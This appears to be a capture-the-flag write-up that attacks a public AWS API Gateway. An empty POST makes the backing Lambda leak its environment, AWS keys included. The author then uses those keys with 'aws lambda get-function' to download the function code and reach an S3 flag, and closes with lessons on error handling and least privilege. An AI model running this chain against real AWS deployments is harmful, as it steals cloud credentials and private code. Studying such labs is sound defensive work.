SecurityLabs challenge: week three (public API Gateway)
This one was super fun.
"Our security team discovered a API Gateway id
You need to know what HTTP options are supported by APIGateway (all valid HTTP options), and how the URLs are formatted. I recommend the AWS Documentation for once: https://docs.aws.amazon.com/apigateway/ and the official RFC for the options: https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1
Looking at the docs, we see the public URL is formed as
https://<apigatewayID>.execute-api.{region}.amazonaws.com/{path}
Where {path} identifies an API Gateway resource (path) of a given hierarchy under the root resource "/".
So let's poke it! (I actually used Postman for this, because it gives a ton of options for bending requests, but curl or wget are fine for what we are doing here.)
curl https://<redacted>.execute-api.us-east-1.amazonaws.com/
response: 200 "Hello from Lambda!"
Hrm, nothing odd there; just some boilerplate from every "how to Lambda" blog ever. I wonder how it handles empty POSTs?
curl -X POST https://<redacted>.execute-api.region.amazonaws.com/
response: 200 "Error parsing the post data body!
AWS_LAMBDA_FUNCTION_VERSION:$LATEST
AWS_SESSION_TOKEN: Yep, a real valid token...
AWS_LAMBDA_LOG_GROUP_NAME:/aws/lambda/redacted
LAMBDA_TASK_ROOT:/var/task
LD_LIBRARY_PATH:/var/lang/lib:/lib64:/usr/lib64:/var/runtime: /var/runtime/lib:/var/task:/var/task/lib:/opt/lib
AWS_LAMBDA_RUNTIME_API:127.0.0.1:9001
AWS_LAMBDA_LOG_STREAM_NAME:2022/03/01/[$LATEST]/redacted
AWS_EXECUTION_ENV:AWS_Lambda_python3.9
AWS_XRAY_DAEMON_ADDRESS:169.254.79.129:2000
AWS_LAMBDA_FUNCTION_NAME: Yep, the lambda behind it...
PATH:/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin
AWS_DEFAULT_REGION:us-east-1
PWD:/var/task
AWS_SECRET_ACCESS_KEY: Crap, a valid Secret Access Key...
LAMBDA_RUNTIME_DIR:/var/runtime
LANG:en_US.UTF-8
AWS_LAMBDA_INITIALIZATION_TYPE:on-demand
TZ::UTC
AWS_REGION:us-east-1
AWS_ACCESS_KEY_ID: And a valid Access Key ID!!
SHLVL:0
_AWS_XRAY_DAEMON_ADDRESS:169.254.79.129
_AWS_XRAY_DAEMON_PORT:2000
AWS_XRAY_CONTEXT_MISSING:LOG_ERROR
_HANDLER:lambda_function.lambda_handler
AWS_LAMBDA_FUNCTION_MEMORY_SIZE:128
PYTHONPATH:/var/runtime
_X_AMZN_TRACE_ID:Root=redacted
No, no it does not handle empty POSTs. And we now have valid AWS credentials! What can we do with them? We know this is an AssumeRole for working with Lambda, and we know what the name of the function behind the gateway. Let's see if I can do something stupid like "get-function". (Short answer yes, yes I did.)
aws lambda --region us-east-1 --get-function --function-name <redacted>
<snipped>
"Code": {
"RepositoryType": "S3",
"Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/account_id/a/whole/damned/presigned_URL/fordownloadingthearchive"
Curl that bugger down and unpack. Opening the code for the function showed me an S3 bucket and key, leading to the flag. Then it's just another s3 cp command.
This exercise shows how
- When you use API Gateway with Lambda, you need to consider error handling/sanitization in your function, or you need to route invalid requests to a null function.
- You also need to lock down your AssumeRoles so that they can only be assumed by something in your VPC already, and that you are not giving too much permissions to the role (there was no reason for the Gateway creds to allow more than Lambda:InvokeFunction and S3:GetObject).